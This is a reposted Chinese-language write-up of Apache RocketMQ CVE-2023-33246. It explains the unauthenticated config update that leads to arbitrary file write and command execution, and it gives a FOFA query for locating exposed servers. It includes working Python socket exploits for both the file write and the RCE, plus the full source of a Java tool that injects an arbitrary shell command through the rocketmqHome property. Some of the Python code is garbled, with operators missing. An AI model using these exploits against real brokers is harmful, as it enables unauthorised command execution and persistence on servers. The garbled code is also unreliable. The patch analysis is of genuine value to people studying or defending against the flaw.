漏洞概述
Apache RocketMQ是一个分布式消息中间件,专为万亿级超大规模的消息处理而设计,具有高吞吐量、低延迟、海量堆积、顺序收发等特点。RocketMQ 5.1.0及以下版本,在一定条件下,存在远程命令执行风险。RocketMQ的NameServer(9876端口)、Broker(10911端口)、Controller等多个组件暴露在外网且缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果
影响范围:
Apache RocketMQ <= 5.1.0
Apache RocketMQ <= 4.9.5
漏洞编号:CVE-2023-33246
官网描述如下:
也即是多个组件暴露在外网且缺乏权限验证
这次的漏洞实际上是两个洞,但是只收录了一个,RCE的过程中,用到了前面的一部分
环境搭建
FOFA:title=”RocketMQ”
docker环境
拉取docker镜像
docker pull apache/rocketmq:5.1.0 docker pull apacherocketmq/rocketmq-console:2.0.0
启动namesrv
docker run -dit -p 9876:9876 -p 10909:10909 --name mqsrv -e "MAX_POSSIBLE_HEAP=100000000" apache/rocketmq:5.1.0 sh mqnamesrv /bin/bash
启动broker
docker run -dit -p 10909:10909 -p 10911:10911 --name mqbroker --restart=always --link mqsrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:5.1.0 sh mqbroker -c /home/rocketmq/rocketmq-5.1.0/conf/broker.conf
启动console
docker run -dit --name mqconsole -p 8089:8080 -e "JAVA_OPTS=-Drocketmq.config.namesrvAddr=mqsrv:9876 -Drocketmq.config.isVIPChannel=false" apacherocketmq/rocketmq-console:2.0.0
访问8089看到控制台,arm下这个docker有一些问题,这里就直接用二进制环境复现
bin环境
./mqbroker ./mqnamesrv ./mqcontroller
其实可以只用broker组件来复现,任意文件写入是三个组件均存在的
漏洞复现
采用工具https://github.com/Le1a/CVE-2023-33246(该工具可以还原配置,不然要重复执行)
或者https://github.com/Serendipity-Lucky/CVE-2023-33246
两个工具用法稍微有一点不一样,具体用法看markdown文档,交互的过程用的自带的协议
python实现
import socket import binascii client = socket.socket() # you ip client.connect((\'192.168.111.129\',10911)) # data json = \'{"code":25,"extFields":{"test":"RockedtMQ"},"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}\'.encode(\'utf-8\') body=\'filterServerNums=1\nnamesrvAddr=127.0.0.1:9876\nrocketmqHome=1\'.encode(\'utf-8\') json_lens = int(len(binascii.hexlify(json).decode(\'utf-8\'))/2) head1 = \'00000000\' str(hex(json_lens))[2:] all_lens = int(4 len(binascii.hexlify(body).decode(\'utf-8\'))/2 json_lens) head2 = \'00000000\' str(hex(all_lens))[2:] data = head2[-8:] head1[-8:] binascii.hexlify(json).decode(\'utf-8\') binascii.hexlify(body).decode(\'utf-8\') # send client.send(bytes.fromhex(data)) data_recv = client.recv(1024) print(data_recv)
改一下rocketmqHome(怎么改可以看后面)
漏洞分析
任意文件写入
漏洞分析
补丁:https://github.com/apache/rocketmq/pull/6733/files
从补丁中可以看到对properties中增加了黑名单类
- brokerConfigPath(broker)
- configStorePath(controller)
- kvConfigPath(namesrv)
我们就用broker组件来实验
修改的点在src/main/java/org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java的updateBrokerConfig方法
其实通过方法名称和里面的一些流程,可以大致看出来可以去修改brokerconfig里面的properties
这个方法可以解析请求包的body,接着更新配置,用到的是Properties properties = MixAll.string2Properties(bodyStr);
进行解析body中的内容,根据update方法
我们来看到string2File,会写入fileName和fileName.bak两个文件
这里的fileName是通过getStorePath传进来的
在namesrv中,这个是configStorePath
漏洞复现
import socket import binascii client = socket.socket() # you ip client.connect((\'127.0.0.1\',9876)) # data json = \'{"code":318,"extFields":{"test":"RockedtMQ"},"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}\'.encode(\'utf-8\') body=\'brokerConfigPath=/tmp/aaa/CaSO4.txt\nconfigStorePath=/tmp/aaa/DawnT0wn.txt\nkvConfigPath=123\\nMy name is DawnT0wn\'.encode(\'utf-8\') json_lens = int(len(binascii.hexlify(json).decode(\'utf-8\'))/2) head1 = \'00000000\' str(hex(json_lens))[2:] all_lens = int(4 len(binascii.hexlify(body).decode(\'utf-8\'))/2 json_lens) head2 = \'00000000\' str(hex(all_lens))[2:] data = head2[-8:] head1[-8:] binascii.hexlify(json).decode(\'utf-8\') binascii.hexlify(body).decode(\'utf-8\') # send client.send(bytes.fromhex(data)) data_recv = client.recv(1024) print(data_recv)
code是对应的功能
调用到DefaultRequestProcessor的updateConfig
通过//n的方式换行插入数据,可以写定时任务
任意代码执行
这次的补丁直接删除了FilterServerManager这个类,对BrokerController进行了简单的修改
关于filterServerManager的调用被删除了,我们来看到filterServerManager这个类
看到了与命令执行相关的方法
前面说获取config的,后面是执行命令的,我们不是windows系统的话会走到else分支执行命令,用sh执行startfsrv.sh,但是在此之前,拼接了this.brokerController.getBrokerConfig().getRocketmqHome()
,如果RocketmqHome为-c $@|sh . echo open -a Calculator;
的话,此时的命令就是sh -c $@|sh . echo open -a Calculator;/bin/startfsrv.sh -n NamesrvAddr
第一个命令是sh -c $@
,它使用 sh 解释器执行传递给程序的参数。在这段代码中,$@
表示接受传入的参数,并将它们作为命令来执行。
第二个命令是sh . echo open -a Calculator;/bin/startfsrv.sh -n NamesrvAddr
,这里会打印输出open -a Calculator并返回给$@
变量。
最后执行sh -c open -a Calculator
我们往上看
这个run0是新建了一个线程,每30s就会触发
在这个代码中,AbstractBrokerRunnable
是一个继承自Runnable
的抽象类,它重写了run0()
方法来执行具体的任务逻辑。在run0()
方法中,createFilterServer()
方法被调用,该方法用于创建过滤器服务器。
scheduleAtFixedRate()
方法接受四个参数:
- 第一个参数是要执行的任务(
Runnable
对象)。 - 第二个参数是初始延迟时间,表示在开始执行任务之前等待的时间(以毫秒为单位)。
- 第三个参数是任务执行的时间间隔,表示每次任务开始执行之后,等待下一次执行的时间间隔(以毫秒为单位)。
- 第四个参数是时间单位,用于指定延迟时间和时间间隔的单位(例如,
TimeUnit.MILLISECONDS
表示毫秒)。
根据给定的参数,这段代码会在启动后的5秒钟之后开始执行第一次任务,然后每隔30秒执行一次。
在这个类的start方法会调用createFilterServer,而createFilterServer会调用刚才的buildStartCommand,如果more>0的话, 会触发callShell方法执行buildStartCommand获取到的命令
前提是要控制BrokerConfig,在前面我们已经控制了这个地方
往上发现在brokerController的startBasicService中对这里的start进行了调用
而brokerController的start方法调用了startBasicService
在启动broker的时候,BrokerStartup调用了controlle的start方法
除此之外,我们要知道FilterServerManager的run0方法会每30s执行一次
前面任意文件写入的流程中,我们知道了updateBrokerConfig可以通过body更新properties
那么这里的NamesrvAddr和RocketmqHome也是可控的,以及FilterServerNums也是可控的
于是就可以达到任意代码执行的目的
最后交互的数据包
EXP
前面贴出来了python的exp,是使用socket然后往里面塞入协议头,协议数据等实现的,协议主要包含四部分,协议总长度 json长度 json body
import socket import binascii client = socket.socket() # you ip client.connect((\'192.168.111.129\',10911)) # data json = \'{"code":25,"extFields":{"test":"RockedtMQ"},"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}\'.encode(\'utf-8\') body=\'filterServerNums=1\nnamesrvAddr=127.0.0.1:9876\nrocketmqHome=1\'.encode(\'utf-8\') json_lens = int(len(binascii.hexlify(json).decode(\'utf-8\'))/2) head1 = \'00000000\' str(hex(json_lens))[2:] all_lens = int(4 len(binascii.hexlify(body).decode(\'utf-8\'))/2 json_lens) head2 = \'00000000\' str(hex(all_lens))[2:] data = head2[-8:] head1[-8:] binascii.hexlify(json).decode(\'utf-8\') binascii.hexlify(body).decode(\'utf-8\') # send client.send(bytes.fromhex(data)) data_recv = client.recv(1024) print(data_recv)
JAVA
在java中有已经封装好的依赖,在https://github.com/Le1a/CVE-2023-33246中可以发现
用到了org.apache.rocketmq.tools.admin.DefaultMQAdminExt
// // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package com.le1a; import java.util.Properties; import org.apache.rocketmq.tools.admin.DefaultMQAdminExt; public class Main { public Main() { } public static void main(String[] args) throws Exception { String cmd = null; String IP = null; String Port = null; String tmp = null; for(int i = 0; i < args.length; i) { if (args[i].equals("-ip") && i < args.length - 1) { tmp = args[i 1]; } else if (args[i].equals("-cmd") && i < args.length - 1) { cmd = args[i 1]; } } if (tmp != null && cmd != null) { String[] ip_port = tmp.split(":"); if (ip_port.length == 2) { IP = ip_port[0]; Port = ip_port[1]; } else { System.out.println("参数输入有误,请检查!"); } Properties props = new Properties(); props.setProperty("rocketmqHome", "-c $@|sh . echo " cmd ";"); props.setProperty("filterServerNums", "1"); DefaultMQAdminExt admin = new DefaultMQAdminExt(); admin.setNamesrvAddr("1.1.1.1:9876"); admin.start(); Properties brokerConfig = admin.getBrokerConfig(IP ":" Port); String rocketmqHome = brokerConfig.getProperty("rocketmqHome"); System.out.println("初始rocketmqHome为: " rocketmqHome); admin.updateBrokerConfig(IP ":" Port, props); System.out.println("攻击已结束!请稍后查看结果!"); Thread.sleep(35000L); props.setProperty("rocketmqHome", rocketmqHome); admin.updateBrokerConfig(IP ":" Port, props); System.out.println("配置已经还原为: " brokerConfig.getProperty("rocketmqHome") "!"); admin.shutdown(); } } }
可以直接去调用rocketmq的对应功能,就不用直接写在python中了,最后恢复了配置
致谢:Le1a,H3mesk1t
参考链接
http://www.lvyyevd.cn/archives/rocketmqrcecve-2023-33246-fen-xi
https://github.com/Le1a/CVE-2023-33246
https://github.com/apache/rocketmq/pull/6733/files
内容出处:,
声明:本网站所收集的部分公开资料来源于互联网,转载的目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。如果您发现网站上有侵犯您的知识产权的作品,请与我们取得联系,我们会及时修改或删除。文章链接:http://www.yixao.com/tech/30651.html